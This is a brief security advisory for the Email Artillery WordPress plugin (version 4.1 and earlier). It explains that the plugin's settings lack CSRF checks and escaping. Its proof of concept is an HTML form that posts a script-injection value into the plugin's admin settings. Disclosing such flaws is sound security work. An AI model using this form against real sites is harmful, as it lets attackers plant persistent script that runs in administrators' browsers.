Email Artillery <= 4.1 – CSRF to Stored XSS

Description

The plugin does not sanitise, validate or escape its settings, and is lacking any CSRF check before saving them. As a result, an attacker could make a logged in admin change them and put malicious JavaScript code as well, leading to Stored Cross-Site Scripting issues.

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=etmbu-email-artillery&action=save_settings" method="POST">
      <input type="hidden" name="admin_email" value='"><script>alert(/XSS/)</script>' />
      <input type="hidden" name="email_count" value="0" />
      <input type="hidden" name="notify_switch" value="0" />
      <input type="hidden" name="submit_settings" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>